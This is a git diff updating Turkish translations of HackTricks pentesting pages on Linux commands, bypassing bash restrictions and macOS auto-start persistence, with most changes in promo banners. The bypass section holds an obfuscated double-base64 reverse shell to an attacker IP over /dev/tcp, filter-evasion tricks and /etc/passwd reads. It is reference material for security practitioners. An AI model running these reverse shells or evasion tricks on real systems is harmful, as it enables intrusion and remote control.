+{% endhint %} diff --git a/linux-hardening/useful-linux-commands.md b/linux-hardening/useful-linux-commands.md index 78f8c7537..d18d50f3c 100644 --- a/linux-hardening/useful-linux-commands.md +++ b/linux-hardening/useful-linux-commands.md @@ -3,24 +3,25 @@
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Edinin: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek PR'ler göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Ortak Bash ```bash @@ -171,8 +172,9 @@ i686-mingw32msvc-gcc -o executable useradd.c ``` ## Greps -Grep, metin dosyalarında belirli bir deseni aramak için kullanılan güçlü bir araçtır. Aşağıdaki komut, `grep` komutunu kullanarak belirli bir deseni aramak için kullanılır: +Grep, metin dosyalarında belirli bir deseni aramak için kullanılan güçlü bir araçtır. Grep komutu, bir dosyadaki belirli bir metin desenini aramak için kullanılır. +Örnek Kullanım: ```bash grep "pattern" file.txt ``` @@ -292,10 +294,14 @@ locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | gre nmap --script-help "(default or version) and smb)" ``` ## Bash + +Bash, Bourne Again Shell'in kısaltmasıdır ve Linux sistemlerinde en yaygın kullanılan kabuk (shell) programıdır. Bash, komutları çalıştırmak, betik dosyalarını yönetmek ve sistemle etkileşimde bulunmak için kullanılır. Bash'in güçlü bir betikleme diline sahip olması ve geniş bir komut yelpazesine sahip olması, sistem yöneticileri ve güvenlik uzmanları arasında popüler olmasını sağlar. ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` +## Iptables + ## Iptables ```bash #Delete curent rules and chains @@ -327,24 +333,25 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin**.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %}
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/linux-hardening/useful-linux-commands/README.md b/linux-hardening/useful-linux-commands/README.md index 729aec75b..3c1fde7bc 100644 --- a/linux-hardening/useful-linux-commands/README.md +++ b/linux-hardening/useful-linux-commands/README.md @@ -1,26 +1,27 @@ -# Kullanışlı Linux Komutları +# Faydalı Linux Komutları
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ -Bugün Erişim Alın: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\ +Bugün Erişim Edinin: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Ortak Bash ```bash @@ -144,7 +145,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Edinin: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -171,34 +172,17 @@ i686-mingw32msvc-gcc -o executable useradd.c ``` ## Greps -### Grep - +### Tanım `grep` komutu, metin dosyalarında belirli bir metni aramak için kullanılır. -Örnek Kullanım: - +### Kullanım ```bash -grep "kelime" dosya.txt +grep "aranacak_metin" dosya_adı ``` -### Grep with line number - -`-n` bayrağı, eşleşen satırların numaralarını gösterir. - -Örnek Kullanım: - +### Örnek ```bash -grep -n "kelime" dosya.txt -``` - -### Grep with case insensitive - -`-i` bayrağı, büyük/küçük harf duyarlılığını devre dışı bırakır. - -Örnek Kullanım: - -```bash -grep -i "kelime" dosya.txt +grep "hacker" belge.txt ``` ```bash #Extract emails from file @@ -280,33 +264,6 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` ## Bul - -### `find` - -`find` komutu, dosya sisteminizde belirli kriterlere göre dosyaları aramanıza ve bulmanıza olanak tanır. - -#### Kullanımı - -```bash -find /path/to/search -name "filename" -``` - -- `/path/to/search`: Aramak istediğiniz dizinin yolu -- `-name "filename"`: Aramak istediğiniz dosyanın adı - -#### Örnekler - -- `/etc` dizininde `passwd` dosyasını bulma: - -```bash -find /etc -name "passwd" -``` - -- `/home` dizininde `.txt` uzantılı dosyaları bulma: - -```bash -find /home -name "*.txt" -``` ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -344,16 +301,14 @@ nmap --script-help "(default or version) and smb)" ``` ## Bash -## Bash +Bash, Bourne Again Shell'in kısaltmasıdır ve Linux sistemlerinde en yaygın kullanılan kabuk (shell) programıdır. Bash, komutları çalıştırmak, betik dosyalarını çalıştırmak, dosya yönetimi yapmak ve daha birçok işlemi gerçekleştirmek için kullanılır. Bash'in güçlü bir komut yorumlayıcısı olduğu ve geniş bir komut setine sahip olduğu bilinmektedir. ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` ## Iptables -### İptables Hakkında - -İptables, Linux işletim sisteminde güvenlik duvarı kurallarını yapılandırmak için kullanılan bir araçtır. Bu araç, ağ trafiğini kontrol etmek ve yönlendirmek için kullanılır. İptables, paket filtreleme, ağ adresi çevirme ve ağ adresi ve portu değiştirme gibi işlemleri gerçekleştirebilir. Güvenlik duvarı kurallarını yapılandırmak için genellikle komut satırı arayüzü kullanılır. +Iptables, Linux tabanlı sistemlerde güvenlik duvarı kurallarını yapılandırmak için kullanılan bir araçtır. Iptables, gelen ve giden ağ trafiğini kontrol etmek için kullanılır ve sistem güvenliğini artırmak için oldukça etkilidir. Bu araç sayesinde ağ trafiğini filtreleyebilir, yönlendirebilir ve engelleyebilirsiniz. ```bash #Delete curent rules and chains iptables --flush @@ -384,24 +339,25 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` +{% hint style="success" %} +Öğren ve AWS Hacking pratiği yap:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Öğren ve GCP Hacking pratiği yap: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme konusunda bilgi edinin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekle -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol et! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katıl veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip et**. +* **Hacking püf noktalarını paylaşmak için PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulun.
+{% endhint %}
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **otomatikleştirilmiş iş akışları** oluşturmanın keyfini çıkarın.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 13985efb7..ed41f9b71 100644 --- a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -1,23 +1,24 @@ # Linux Kısıtlamalarını Atlatma +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %}
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -30,7 +31,7 @@ Bugün Erişim Alın: echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` -### Kısa Rev kabuk +### Kısa Rev shell ```bash #Trick from Dikline #Get a rev shell with @@ -38,7 +39,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` -### Yolları Atlayın ve yasaklanan kelimeleri geçin +### Yolları Geçme ve yasaklı kelimeler ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -131,7 +132,7 @@ uname!-1\-a # This equals to uname -a cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` -### Boruları Atla +### Boruları atlayın ```bash bash<<<$(base64 -d<<
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ -Bugün Erişim Alın: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +Bugün Erişim Edinin: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan Kahraman'a kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) -* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md index 8795f998b..fde681ad0 100644 --- a/macos-hardening/macos-auto-start-locations.md +++ b/macos-hardening/macos-auto-start-locations.md @@ -1,31 +1,32 @@ # macOS Otomatik Başlatma +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} -Bu bölüm, [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) blog serisine dayanmaktadır, amacı **Daha Fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüzdeki macOS'ın en son sürümü (13.4) ile hala çalışan **hangi tekniklerin** olduğunu belirtmek ve **gereken izinleri** belirtmektir. +Bu bölüm, [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) blog serisine dayanmaktadır, amacı **Daha Fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüz macOS sürümü (13.4) ile hala çalışan **hangi tekniklerin** olduğunu belirtmek ve gerekli olan **izinleri** belirtmektir. -## Kum Havuzu Atlama +## Kum Havuzu Atlatma {% hint style="success" %} -Burada, **kum havuzu atlaması** için yararlı başlatma konumları bulabilirsiniz, bu size **bir dosyaya yazarak** ve çok **yaygın** bir **eylemi bekleyerek**, belirlenmiş bir **zaman miktarı** veya genellikle bir kum havuzundan **kök izinlere ihtiyaç duymadan** gerçekleştirebileceğiniz bir **eylem** sağlar. +Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulabilirsiniz, bu size **bir dosyaya yazarak** ve çok **yaygın** bir **eylemi**, belirli bir **zaman miktarını** veya genellikle bir kum havuzu içinden kök izinler gerekmeden gerçekleştirebileceğiniz bir **eylemi bekleyerek** basitçe yürütmenizi sağlar. {% endhint %} ### Launchd -* Kum havuzu atlaması için yararlı: [✅](https://emojipedia.org/check-mark-button) -* TCC Atlama: [🔴](https://emojipedia.org/large-red-circle) +* Kum havuzu atlatma için kullanışlı: [✅](https://emojipedia.org/check-mark-button) +* TCC Atlatma: [🔴](https://emojipedia.org/large-red-circle) #### Konumlar @@ -54,16 +55,16 @@ Tabii ki, kod imzalaması nedeniyle değiştirilemez. #### Açıklama ve Sömürü -**`launchd`**, başlangıçta OX S çekirdeği tarafından çalıştırılan **ilk işlem** ve kapanırken sonuncusudur. Her zaman **PID 1**'e sahip olmalıdır. Bu işlem, **ASEP** **plistlerinde** belirtilen yapılandırmaları **okuyacak ve yürütecek**: +**`launchd`**, başlangıçta OX S çekirdeği tarafından çalıştırılan **ilk işlem** ve kapanırken sonuncusudur. Her zaman **PID 1**'e sahip olmalıdır. Bu işlem, **ASEP** **plistlerinde** belirtilen yapılandırmaları **okuyacak ve yürütecektir**: * `/Library/LaunchAgents`: Yönetici tarafından yüklenen kullanıcı başına ajanlar -* `/Library/LaunchDaemons`: Yönetici tarafından yüklenen sistem genelindeki daemonlar +* `/Library/LaunchDaemons`: Yönetici tarafından yüklenen sistem genelinde hizmetler * `/System/Library/LaunchAgents`: Apple tarafından sağlanan kullanıcı başına ajanlar. -* `/System/Library/LaunchDaemons`: Apple tarafından sağlanan sistem genelindeki daemonlar. +* `/System/Library/LaunchDaemons`: Apple tarafından sağlanan sistem genelinde hizmetler. Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumlarındaki plist'ler **oturum açan kullanıcının izinleriyle** başlatılır. -**Ajanlar ve daemonlar arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve daemonların sistem başlatıldığında yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce çalıştırılması gerektiği hizmetler vardır). Ayrıca ajanlar GUI kullanabilirken, daemonlar arka planda çalışmalıdır. +**Ajanlar ve hizmetler arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve hizmetlerin sistem başlatıldığında yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce çalıştırılması gerektiği durumlar vardır). Ayrıca ajanlar GUI kullanabilirken, hizmetler arka planda çalışmalıdır. ```xml @@ -86,13 +87,13 @@ Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/U ``` -**Kullanıcı oturum açmadan önce bir ajanın çalıştırılması gereken durumlar** bulunmaktadır, bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açılırken destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bakın). +Bazı durumlarda, **kullanıcı oturum açmadan önce bir ajanın çalıştırılması gerekebilir**, bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açma sırasında destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca 